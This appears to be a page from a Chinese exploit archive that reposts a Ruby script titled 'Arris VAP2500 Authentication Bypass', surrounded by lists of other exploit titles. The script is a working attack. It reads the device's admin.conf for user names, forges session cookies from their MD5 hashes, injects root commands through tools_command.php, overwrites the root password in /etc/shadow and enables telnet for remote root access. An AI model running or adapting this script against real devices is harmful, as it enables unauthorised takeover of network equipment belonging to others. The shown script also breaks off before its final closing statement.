首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Arris VAP2500 Authentication Bypass
来源:vfocus.net 作者:HeadlessZeke 发布时间:2014-11-26  
#!/usr/bin/env ruby
  
require 'net/http'
require 'digest/md5'
  
if !ARGV[0]
  puts "Usage: #{$0} <vap2500_ip_address>"
  exit(0)
end
  
host = ARGV[0]
new_pass = "h4x0r3d!"
  
http = Net::HTTP.new(host).start
users = nil
users = http.request_get("/admin.conf").body.split("\n").map! {|user| user.sub(/^(.*?),.*$/,"\\1")}
  
if users
  puts "[*] found user accounts: #{users.inspect}"
  puts "[*] checking for root privs"
else
  puts "[!!!] could not find any user accounts. exiting."
  exit(-1)
end
  
root_privs = nil
users.each {|user|
  if http.request_post("/tools_command.php","cmb_header=&txt_command=whoami",{"Cookie" => "p=#{Digest::MD5.hexdigest(user)}"}).body =~ /root/
    puts "[*] root privs found: #{user}"
    root_privs = user
    break
  end
}
  
if !root_privs
  puts "[!!!] could not find a root priv account. exiting."
  exit(-1)
end
  
puts "[*] modifying root password"
new_hash = new_pass.crypt("$1$#{new_pass}$").gsub("$","\\$")
http.request_post("/tools_command.php","cmb_header=&txt_command=sed -i -r \"s/root:[^:]*:(.*)/root:#{new_hash}:\\1/g\" /etc/shadow",{"Cookie" => "p=#{Digest::MD5.hexdigest(root_privs)}"})
  
puts "[*] enabling telnet"
if http.request_post("/tools_command.php","cmb_header=&txt_command=rm /mnt/jffs2/telnet-disabled; sh /etc/init.d/S42inetd start",{"Cookie" => "p=#{Digest::MD5.hexdigest(root_privs)}"}).body =~ /Starting inetd/
  puts "[*] success! telnet to #{host} (user:root pass:#{new_pass})"
else
  puts "[!!!] couldn't start telnet"

 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·phpMyRecipes 1.2.2 (dosearch.p
·Linux Kernel libfutex Local Ro
·TRENDnet SecurView Wireless Ne
·All-in-One WP Migration 2.0.2
·WordPress WP-DB-Backup 2.2.4 B
·Mozilla Firefox 3.6 mChannel U
·FluxBB 1.5.6 SQL Injection
·PHP 5.x / Bash Shellshock Proo
·Atrax Botnet Shell Upload Vuln
·KMPlayer 3.9.1.130 Denial Of S
·Wordpress wpDataTables 1.5.3 s
·Internet Explorer OLE Pre-IE11
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved